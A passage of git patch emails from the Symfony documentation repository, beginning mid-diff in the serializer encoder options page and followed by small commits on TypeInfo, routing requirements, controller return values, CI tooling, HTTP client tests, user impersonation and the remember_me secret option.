+:phpfunction:`json_encode` and :phpfunction:`json_decode` functions.
+
+It can be useful to modify how these functions operate in certain instances
+by providing options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use
+the serialization context to pass in these options using the key
+``json_encode_options`` or ``json_decode_options`` respectively::
+
+    $this->serializer->serialize($data, 'json', [
+        'json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION,
+    ]);
+
+All context options available for the JSON encoder are:
+
+``json_decode_associative`` (default: ``false``)
+    If set to ``true`` returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.
+``json_decode_detailed_errors`` (default: ``false``)
+    If set to ``true`` exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.
+
+    .. versionadded:: 6.4
+
+        The ``json_decode_detailed_errors`` option was introduced in Symfony 6.4.
+``json_decode_options`` (default: ``0``)
+    Flags passed to :phpfunction:`json_decode` function.
+``json_encode_options`` (default: ``\JSON_PRESERVE_ZERO_FRACTION``)
+    Flags passed to :phpfunction:`json_encode` function.
+``json_decode_recursion_depth`` (default: ``512``)
+    Sets maximum recursion depth.
+
+The ``CsvEncoder``
+------------------
+
+The ``CsvEncoder`` encodes to and decodes from CSV. Serveral :ref:`context options <serializer-context>`
+are available to customize the behavior of the encoder:
+
+``csv_delimiter`` (default: ``,``)
+    Sets the field delimiter separating values (one character only).
+``csv_enclosure`` (default: ``"``)
+    Sets the field enclosure (one character only).
+``csv_end_of_line`` (default: ``\n``)
+    Sets the character(s) used to mark the end of each line in the CSV file.
+``csv_escape_char`` (default: empty string)
+    Sets the escape character (at most one character).
+``csv_key_separator`` (default: ``.``)
+    Sets the separator for array's keys during its flattening
+``csv_headers`` (default: ``[]``, inferred from input data's keys)
+    Sets the order of the header and data columns.
+    E.g. if you set it to ``['a', 'b', 'c']`` and serialize
+    ``['c' => 3, 'a' => 1, 'b' => 2]``, the order will be ``a,b,c`` instead
+    of the input order (``c,a,b``).
+``csv_escape_formulas`` (default: ``false``)
+    Escapes fields containing formulas by prepending them with a ``\t`` character.
+``as_collection`` (default: ``true``)
+    Always returns results as a collection, even if only one line is decoded.
+``no_headers`` (default: ``false``)
+    Setting to ``false`` will use first row as headers when denormalizing,
+    ``true`` generates numeric headers.
+``output_utf8_bom`` (default: ``false``)
+    Outputs special `UTF-8 BOM`_ along with encoded data.
+
+The ``XmlEncoder``
+------------------
+
+This encoder transforms PHP values into XML and vice versa.
+
+For example, take an object that is normalized as following::
+
+    $normalizedArray = ['foo' => [1, 2], 'bar' => true];
+
+The ``XmlEncoder`` will encode this object like:
+
+.. code-block:: xml
+
+    <?xml version="1.0" encoding="UTF-8" ?>
+    <response>
+        <foo>1</foo>
+        <foo>2</foo>
+        <bar>1</bar>
+    </response>
+
+The special ``#`` key can be used to define the data of a node::
+
+    ['foo' => ['@bar' => 'value', '#' => 'baz']];
+
+    /* is encoded as follows:
+       <?xml version="1.0"?>
+       <response>
+           <foo bar="value">
+              baz
+           </foo>
+       </response>
+     */
+
+Furthermore, keys beginning with ``@`` will be considered attributes, and
+the key  ``#comment`` can be used for encoding XML comments::
+
+    $encoder = new XmlEncoder();
+    $xml = $encoder->encode([
+        'foo' => ['@bar' => 'value'],
+        'qux' => ['#comment' => 'A comment'],
+    ], 'xml');
+    /* will return:
+       <?xml version="1.0"?>
+       <response>
+           <foo bar="value"/>
+           <qux><!-- A comment --!><qux>
+       </response>
+     */
+
+You can pass the context key ``as_collection`` in order to have the results
+always as a collection.
+
+.. note::
+
+    You may need to add some attributes on the root node::
+
+        $encoder = new XmlEncoder();
+        $encoder->encode([
+            '@attribute1' => 'foo',
+            '@attribute2' => 'bar',
+            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
+        ], 'xml');
+
+        // will return:
+        // <?xml version="1.0"?>
+        // <response attribute1="foo" attribute2="bar">
+        // <foo bar="value">baz</foo>
+        // </response>
+
+.. tip::
+
+    XML comments are ignored by default when decoding contents, but this
+    behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
+
+    Data with ``#comment`` keys are encoded to XML comments by default. This can be
+    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
+    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
+    directly to the ``$context`` argument of the ``encode()`` method::
+
+        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
+
+The ``XmlEncoder`` Context Options
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+These are the options available on the :ref:`serializer context <serializer-context>`:
+
+``xml_format_output`` (default: ``false``)
+    If set to true, formats the generated XML with line breaks and indentation.
+``xml_version`` (default: ``1.0``)
+    Sets the XML version attribute.
+``xml_encoding`` (default: ``utf-8``)
+    Sets the XML encoding attribute.
+``xml_standalone`` (default: ``true``)
+    Adds standalone attribute in the generated XML.
+``xml_type_cast_attributes`` (default: ``true``)
+    This provides the ability to forget the attribute type casting.
+``xml_root_node_name`` (default: ``response``)
+    Sets the root node name.
+``as_collection`` (default: ``false``)
+    Always returns results as a collection, even if only one line is decoded.
+``decoder_ignored_node_types`` (default: ``[\XML_PI_NODE, \XML_COMMENT_NODE]``)
+    Array of node types (`DOM XML_* constants`_) to be ignored while decoding.
+``encoder_ignored_node_types`` (default: ``[]``)
+    Array of node types (`DOM XML_* constants`_) to be ignored while encoding.
+``load_options`` (default: ``\LIBXML_NONET | \LIBXML_NOBLANKS``)
+    XML loading `options with libxml`_.
+``save_options`` (default: ``0``)
+    XML saving `options with libxml`_.
+
+    .. versionadded:: 6.3
+
+        The ``save_options`` option was introduced in Symfony 6.3.
+``remove_empty_tags`` (default: ``false``)
+    If set to ``true``, removes all empty tags in the generated XML.
+``cdata_wrapping`` (default: ``true``)
+    If set to ``false``, will not wrap any value containing one of the
+    following characters ( ``<``, ``>``, ``&``) in `a CDATA section`_ like
+    following: ``<![CDATA[...]]>``.
+
+    .. versionadded:: 6.4
+
+        The ``cdata_wrapping`` option was introduced in Symfony 6.4.
+
+Example with a custom ``context``::
+
+    use Symfony\Component\Serializer\Encoder\XmlEncoder;
+
+    $data = [
+        'id' => 'IDHNQIItNyQ',
+        'date' => '2019-10-24',
+    ];
+
+    $xmlEncoder->encode($data, 'xml', ['xml_format_output' => true]);
+    // outputs:
+    // <?xml version="1.0"?>
+    // <response>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </response>
+
+    $xmlEncoder->encode($data, 'xml', [
+        'xml_format_output' => true,
+        'xml_root_node_name' => 'track',
+        'encoder_ignored_node_types' => [
+            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
+        ],
+    ]);
+    // outputs:
+    // <track>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </track>
+
+The ``YamlEncoder``
+-------------------
+
+This encoder requires the :doc:`Yaml Component </components/yaml>` and
+transforms from and to Yaml.
+
+Like other encoder, several :ref:`context options <serializer-context>` are
+available:
+
+``yaml_inline`` (default: ``0``)
+    The level where you switch to inline YAML.
+``yaml_indent`` (default: ``0``)
+    The level of indentation (used internally).
+``yaml_flags`` (default: ``0``)
+    A bit field of ``Yaml::DUMP_*``/``Yaml::PARSE_*`` constants to
+    customize the encoding/decoding YAML string.
+
+.. _serializer-custom-encoder:
+
+Creating a Custom Encoder
+-------------------------
+
+Imagine you want to serialize and deserialize `NEON`_. For that you'll have to
+create your own encoder::
+
+    // src/Serializer/YamlEncoder.php
+    namespace App\Serializer;
+
+    use Nette\Neon\Neon;
+    use Symfony\Component\Serializer\Encoder\DecoderInterface;
+    use Symfony\Component\Serializer\Encoder\EncoderInterface;
+
+    class NeonEncoder implements EncoderInterface, DecoderInterface
+    {
+        public function encode($data, string $format, array $context = [])
+        {
+            return Neon::encode($data);
+        }
+
+        public function supportsEncoding(string $format)
+        {
+            return 'neon' === $format;
+        }
+
+        public function decode(string $data, string $format, array $context = [])
+        {
+            return Neon::decode($data);
+        }
+
+        public function supportsDecoding(string $format)
+        {
+            return 'neon' === $format;
+        }
+    }
+
+.. tip::
+
+    If you need access to ``$context`` in your ``supportsDecoding`` or
+    ``supportsEncoding`` method, make sure to implement
+    ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface``
+    or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly.
+
+Registering it in Your App
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you use the Symfony Framework, then you probably want to register this encoder
+as a service in your app. If you're using the
+:ref:`default services.yaml configuration <service-container-services-load-example>`,
+that's done automatically!
+
+If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
+to register your class as a service and tag it with ``serializer.encoder``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Serializer\NeonEncoder:
+                tags: ['serializer.encoder']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Serializer\NeonEncoder">
+                    <tag name="serializer.encoder"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Serializer\NeonEncoder;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            $services->set(NeonEncoder::class)
+                ->tag('serializer.encoder')
+            ;
+        };
+
+Now you'll be able to serialize and deserialize NEON!
+
+.. _JSON: https://www.json.org/json-en.html
+.. _XML: https://www.w3.org/XML/
+.. _YAML: https://yaml.org/
+.. _CSV: https://tools.ietf.org/html/rfc4180
+.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
+.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark
+.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
+.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
+.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA
+.. _NEON: https://ne-on.org/

From 2f8a9d656df47bbe5cdd25094ffb183af8aba376 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 23 Nov 2024 18:00:57 +0100
Subject: [PATCH 5160/5766] Syntax fixes

---
 serializer.rst                   | 2 +-
 serializer/custom_normalizer.rst | 1 +
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 6a12f689512..648b44670f1 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1266,7 +1266,7 @@ normalizers (in order of priority):
 
     :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings,
     integers or floats. By default, it converts them to strings using the
-    `RFC3339`_ format. Use ``DateTimeNormalizer::FORMAT_KEY`` and
+    `RFC 3339`_ format. Use ``DateTimeNormalizer::FORMAT_KEY`` and
     ``DateTimeNormalizer::TIMEZONE_KEY`` to change the format.
 
     To convert the objects to integers or floats, set the serializer
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 26eacdeba0b..10092c6baa7 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -76,6 +76,7 @@ If you're not using ``autoconfigure``, you have to tag the service with
 .. configuration-block::
 
     .. code-block:: yaml
+
         # config/services.yaml
         services:
             # ...

From 337b5974e08ee43012ccd3ec6174f35409ccea41 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 23 Nov 2024 18:03:07 +0100
Subject: [PATCH 5161/5766] More syntax fixes

---
 serializer/encoders.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/encoders.rst b/serializer/encoders.rst
index 65eece78031..003eb4523fe 100644
--- a/serializer/encoders.rst
+++ b/serializer/encoders.rst
@@ -65,7 +65,7 @@ are available to customize the behavior of the encoder:
 ``csv_end_of_line`` (default: ``\n``)
     Sets the character(s) used to mark the end of each line in the CSV file.
 ``csv_escape_char`` (default: empty string)
-    .. deprecated::
+    .. deprecated:: 7.2
 
         The ``csv_escape_char`` option was deprecated in Symfony 7.2.
 

From dc999f33194b22851c44ba6147833b1e8003bc8f Mon Sep 17 00:00:00 2001
From: Baptiste Leduc <baptiste.leduc@gmail.com>
Date: Fri, 15 Nov 2024 10:20:18 +0100
Subject: [PATCH 5162/5766] Add more details to TypeInfo documentation

---
 components/type_info.rst | 100 +++++++++++++++++++++++++++++++++++++--
 1 file changed, 97 insertions(+), 3 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index bbc7d0ea8dc..18556e02972 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -40,12 +40,24 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     // Many others are available and can be
     // found in Symfony\Component\TypeInfo\TypeFactoryTrait
 
+Resolvers
+~~~~~~~~~
+
 The second way of using the component is to use ``TypeInfo`` to resolve a type
-based on reflection or a simple string::
+based on reflection or a simple string, this is aimed towards libraries that wants to
+describe a class or anything that has a type easily::
 
     use Symfony\Component\TypeInfo\Type;
     use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
 
+    class Dummy
+    {
+        public function __construct(
+            public int $id,
+        ) {
+        }
+    }
+
     // Instantiate a new resolver
     $typeResolver = TypeResolver::create();
 
@@ -70,6 +82,88 @@ Each of these calls will return you a ``Type`` instance that corresponds to the
 static method used. You can also resolve types from a string (as shown in the
 ``bool`` parameter of the previous example)
 
-.. note::
+PHPDoc parsing
+~~~~~~~~~~~~~~
 
-    To support raw string resolving, you need to install ``phpstan/phpdoc-parser`` package.
+But most times you won't have clean typed properties or you want a more precise type
+thank to advanced PHPDoc, to do that you would want a string resolver based on that PHPDoc.
+First you will require ``phpstan/phpdoc-parser`` package from composer to support string
+revolving. Then you would do as following::
+
+    use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
+
+    class Dummy
+    {
+        public function __construct(
+            public int $id,
+            /** @var string[] $tags */
+            public array $tags,
+        ) {
+        }
+    }
+
+    $typeResolver = TypeResolver::create();
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns a collection with "int" as key and "string" as values Type
+
+Advanced usages
+~~~~~~~~~~~~~~~
+
+There is many methods to manipulate and check types depending on your needs within the TypeInfo components.
+
+If you need a check a simple Type::
+
+    // You need to check if a Type
+    $type = Type::int(); // with a simple int type
+    // You can check if a given type comply with a given identifier
+    $type->isIdentifiedBy(TypeIdentifier::INT); // true
+    $type->isIdentifiedBy(TypeIdentifier::STRING); // false
+
+    $type = Type::union(Type::string(), Type::int()); // with an union of int and string types
+    // You can now see that the second check will pass to true since we have an union with a string type
+    $type->isIdentifiedBy(TypeIdentifier::INT); // true
+    $type->isIdentifiedBy(TypeIdentifier::STRING); // true
+
+    class DummyParent {}
+    class Dummy extends DummyParent implements DummyInterface {}
+    $type = Type::object(Dummy::class); // with an object Type
+    // You can check is the Type is an object, or even if it's a given class
+    $type->isIdentifiedBy(TypeIdentifier::OBJECT); // true
+    $type->isIdentifiedBy(Dummy::class); // true
+    // Or inherits/implements something
+    $type->isIdentifiedBy(DummyParent::class); // true
+    $type->isIdentifiedBy(DummyInterface::class); // true
+
+Sometimes you want to check for more than one thing at a time so a callable may be better to check everything::
+
+    class Foo
+    {
+        private int $integer;
+        private string $string;
+        private ?float $float;
+    }
+
+    $reflClass = new \ReflectionClass(Foo::class);
+
+    $resolver = TypeResolver::create();
+    $integerType = $resolver->resolve($reflClass->getProperty('integer'));
+    $stringType = $resolver->resolve($reflClass->getProperty('string'));
+    $floatType = $resolver->resolve($reflClass->getProperty('float'));
+
+    // your callable to check whatever you need
+    // here we want to validate a given type is a non nullable number
+    $isNonNullableNumber = function (Type $type): bool {
+        if ($type->isNullable()) {
+            return false;
+        }
+
+        if ($type->isIdentifiedBy(TypeIdentifier::INT) || $type->isIdentifiedBy(TypeIdentifier::FLOAT)) {
+            return true;
+        }
+
+        return false;
+    };
+
+    $integerType->isSatisfiedBy($isNonNullableNumber); // true
+    $stringType->isSatisfiedBy($isNonNullableNumber); // false
+    $floatType->isSatisfiedBy($isNonNullableNumber); // false

From a51974c18e96fdf1e5fab687a3515dd53cb689f5 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 24 Nov 2024 12:17:56 +0100
Subject: [PATCH 5163/5766] Replace annotation to attribute in form unit
 testing comment

---
 form/unit_testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 8c005ba5ea9..ea11e947fde 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -214,7 +214,7 @@ allows you to return a list of extensions to register::
         {
             $validator = Validation::createValidator();
 
-            // or if you also need to read constraints from annotations
+            // or if you also need to read constraints from attributes
             $validator = Validation::createValidatorBuilder()
                 ->enableAttributeMapping()
                 ->getValidator();

From ebfa5e2d83e4693aeebe68223ec892ad0a6aac6f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 24 Nov 2024 12:43:10 +0100
Subject: [PATCH 5164/5766] [Routing] Add example of Requirement enum

---
 routing.rst | 45 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 45 insertions(+)

diff --git a/routing.rst b/routing.rst
index e2ca7f1a1fe..721a28e3db2 100644
--- a/routing.rst
+++ b/routing.rst
@@ -666,6 +666,51 @@ URL                       Route          Parameters
     contains a collection of commonly used regular-expression constants such as
     digits, dates and UUIDs which can be used as route parameter requirements.
 
+    .. configuration-block::
+
+        .. code-block:: php-attributes
+
+            // src/Controller/BlogController.php
+            namespace App\Controller;
+
+            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+            use Symfony\Component\HttpFoundation\Response;
+            use Symfony\Component\Routing\Attribute\Route;
+            use Symfony\Component\Routing\Requirement\Requirement;
+
+            class BlogController extends AbstractController
+            {
+                #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => Requirement::DIGITS])]
+                public function list(int $page): Response
+                {
+                    // ...
+                }
+            }
+
+        .. code-block:: yaml
+
+            # config/routes.yaml
+            blog_list:
+                path:       /blog/{page}
+                controller: App\Controller\BlogController::list
+                requirements:
+                    page: !php/const Symfony\Component\Routing\Requirement\Requirement::DIGITS
+
+        .. code-block:: php
+
+            // config/routes.php
+            use App\Controller\BlogController;
+            use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+            use Symfony\Component\Routing\Requirement\Requirement;
+
+            return static function (RoutingConfigurator $routes): void {
+                $routes->add('blog_list', '/blog/{page}')
+                    ->controller([BlogController::class, 'list'])
+                    ->requirements(['page' => Requirement::DIGITS])
+                ;
+                // ...
+            };
+
     .. versionadded:: 6.1
 
         The ``Requirement`` enum was introduced in Symfony 6.1.

From 42b4c95c3ae2d4b0b9153ae4a099dddf292bba1e Mon Sep 17 00:00:00 2001
From: Florian Merle <florian.david.merle@gmail.com>
Date: Tue, 26 Nov 2024 13:29:39 +0100
Subject: [PATCH 5165/5766] update controller return value doc

---
 controller.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index d4f7f99d43d..40e47dbbedf 100644
--- a/controller.rst
+++ b/controller.rst
@@ -447,7 +447,7 @@ and provides methods for getting and setting response headers. The header names
 normalized. As a result, the name ``Content-Type`` is equivalent to
 the name ``content-type`` or ``content_type``.
 
-In Symfony, a controller is required to return a ``Response`` object::
+In Symfony, a controller usually returns a ``Response`` object::
 
     use Symfony\Component\HttpFoundation\Response;
 
@@ -463,6 +463,14 @@ response types.  Some of these are mentioned below. To learn more about the
 ``Request`` and ``Response`` (and different ``Response`` classes), see the
 :ref:`HttpFoundation component documentation <component-http-foundation-request>`.
 
+.. note::
+
+    When a controller returns a non-``Response`` object, a ``kernel.view``
+    listener is expected to transform it into a ``Response`` object;
+    otherwise an exception is thrown.
+
+    See :ref:`kernel.view event <component-http-kernel-kernel-view>` for details on the ``kernel.view`` event.
+
 Accessing Configuration Values
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From d019fc476beba1749f2526688937b4fca63dd852 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Nov 2024 17:53:04 +0100
Subject: [PATCH 5166/5766] Reword

---
 controller.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/controller.rst b/controller.rst
index 40e47dbbedf..01bf572d9a2 100644
--- a/controller.rst
+++ b/controller.rst
@@ -447,7 +447,7 @@ and provides methods for getting and setting response headers. The header names
 normalized. As a result, the name ``Content-Type`` is equivalent to
 the name ``content-type`` or ``content_type``.
 
-In Symfony, a controller usually returns a ``Response`` object::
+In Symfony, a controller is required to return a ``Response`` object::
 
     use Symfony\Component\HttpFoundation\Response;
 
@@ -465,11 +465,11 @@ response types.  Some of these are mentioned below. To learn more about the
 
 .. note::
 
-    When a controller returns a non-``Response`` object, a ``kernel.view``
-    listener is expected to transform it into a ``Response`` object;
-    otherwise an exception is thrown.
-
-    See :ref:`kernel.view event <component-http-kernel-kernel-view>` for details on the ``kernel.view`` event.
+    Technically, a controller can return a value other than a ``Response``.
+    However, your application is responsible for transforming that value into a
+    ``Response`` object. This is handled using :doc:`events </event_dispatcher>`
+    (specifically the :ref:`kernel.view event <component-http-kernel-kernel-view>`),
+    an advanced feature you'll learn about later.
 
 Accessing Configuration Values
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From ee3ec5faf3355320d68ca53180a108b30804b34c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 26 Nov 2024 21:03:03 +0100
Subject: [PATCH 5167/5766] Update DOCtor-RST to 1.63.0

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 4f07d84cd25..c7a17edd06c 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -50,6 +50,7 @@ rules:
     no_namespace_after_use_statements: ~
     no_php_open_tag_in_code_block_php_directive: ~
     no_space_before_self_xml_closing_tag: ~
+    non_static_phpunit_assertions: ~
     only_backslashes_in_namespace_in_php_code_block: ~
     only_backslashes_in_use_statements_in_php_code_block: ~
     ordered_use_statements: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 2d35b7df806..4d67a5c084c 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.62.3
+                uses: docker://oskarstark/doctor-rst:1.63.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 1c2664fc6af40ec895cfc9192b368faa767b0bdb Mon Sep 17 00:00:00 2001
From: Ejamine <101939470+Ejamine@users.noreply.github.com>
Date: Tue, 26 Nov 2024 22:35:35 +0100
Subject: [PATCH 5168/5766] Update http_client.rst

Testing Using HAR Files/ExternalArticleServiceTest should extend from Symfony\Bundle\FrameworkBundle\Test\KernelTestCase to access the container parameter.
---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 4a8829a52d5..9e9a74b973b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2248,11 +2248,11 @@ First, use a browser or HTTP client to perform the HTTP request(s) you want to
 test. Then, save that information as a ``.har`` file somewhere in your application::
 
     // ExternalArticleServiceTest.php
-    use PHPUnit\Framework\TestCase;
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
 
-    final class ExternalArticleServiceTest extends TestCase
+    final class ExternalArticleServiceTest extends KernelTestCase
     {
         public function testSubmitData(): void
         {

From da1caa21faf2b481d9d5c60932390c74629c86f1 Mon Sep 17 00:00:00 2001
From: Alessandro Podo <47177650+alessandro-podo@users.noreply.github.com>
Date: Tue, 26 Nov 2024 23:12:38 +0100
Subject: [PATCH 5169/5766] The wrong type is used for autowiring

---
 security/impersonating_user.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index f74528cfb89..8317b9c30bd 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -317,7 +317,7 @@ logic you want::
     {
         private $accessDecisionManager;
 
-        public function __construct(AccessDecisionManager $accessDecisionManager)
+        public function __construct(AccessDecisionManagerInterface $accessDecisionManager)
         {
             $this->accessDecisionManager = $accessDecisionManager;
         }

From 03b029b9f3d144573b16f94a56e51aa7666e1342 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 27 Nov 2024 06:36:46 +0100
Subject: [PATCH 5170/5766] minor cs fix for ci

---
 serializer/encoders.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/serializer/encoders.rst b/serializer/encoders.rst
index 003eb4523fe..e36d8731e48 100644
--- a/serializer/encoders.rst
+++ b/serializer/encoders.rst
@@ -65,6 +65,7 @@ are available to customize the behavior of the encoder:
 ``csv_end_of_line`` (default: ``\n``)
     Sets the character(s) used to mark the end of each line in the CSV file.
 ``csv_escape_char`` (default: empty string)
+
     .. deprecated:: 7.2
 
         The ``csv_escape_char`` option was deprecated in Symfony 7.2.

From d6d8bb8f5e60eb32ecf8d1ab13478715c8b4cdf5 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 26 Nov 2024 08:49:04 +0100
Subject: [PATCH 5171/5766] Add a note about updating phpdoc in a patch release

---
 contributing/code/maintenance.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 04740ce8c6e..27e4fd73ea0 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -67,6 +67,9 @@ issue):
 * **Adding new deprecations**: After a version reaches stability, new
   deprecations cannot be added anymore.
 
+* **Adding or updating annotations**: Adding or updating annotations (PHPDoc
+  annotations for instance) is not allowed; fixing them might be accepted.
+
 Anything not explicitly listed above should be done on the next minor or major
 version instead. For instance, the following changes are never accepted in a
 patch version:

From e427a6cb7466dba166e17f446b0f5a210757c8b9 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 27 Nov 2024 06:18:03 +0100
Subject: [PATCH 5172/5766] [Security] Secret with remember me feature

---
 security/remember_me.rst | 25 ++++++++++---------------
 1 file changed, 10 insertions(+), 15 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 8fac6d78849..2fd0f7e8d1e 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -19,7 +19,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 main:
                     # ...
                     remember_me:
-                        secret:   '%kernel.secret%' # required
+                        secret: '%kernel.secret%'
                         lifetime: 604800 # 1 week in seconds
                         # by default, the feature is enabled by checking a
                         # checkbox in the login form (see below), uncomment the
@@ -44,7 +44,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <!-- secret: required
+                    <!-- secret: default to "%kernel.secret%"
                          lifetime: 604800 is 1 week in seconds -->
                     <remember-me
                         secret="%kernel.secret%"
@@ -67,7 +67,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%') // required
+                    ->secret('%kernel.secret%')
                     ->lifetime(604800) // 1 week in seconds
 
                     // by default, the feature is enabled by checking a
@@ -77,9 +77,11 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             ;
         };
 
-The ``secret`` option is the only required option and it is used to sign
-the remember me cookie. It's common to use the ``kernel.secret`` parameter,
-which is defined using the ``APP_SECRET`` environment variable.
+.. versionadded:: 7.2
+
+    The ``secret`` option is no longer required starting from Symfony 7.2. By
+    default, ``%kernel.secret%`` is used, which is defined using the
+    ``APP_SECRET`` environment variable.
 
 After enabling the ``remember_me`` system in the configuration, there are a
 couple more things to do before remember me works correctly:
@@ -171,7 +173,6 @@ allow users to opt-out. In these cases, you can use the
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
                         always_remember_me: true
 
@@ -194,7 +195,6 @@ allow users to opt-out. In these cases, you can use the
                     <!-- ... -->
 
                     <remember-me
-                        secret="%kernel.secret%"
                         always-remember-me="true"
                     />
                 </firewall>
@@ -211,7 +211,6 @@ allow users to opt-out. In these cases, you can use the
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->alwaysRememberMe(true)
             ;
@@ -335,7 +334,6 @@ are fetched from the user object using the
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
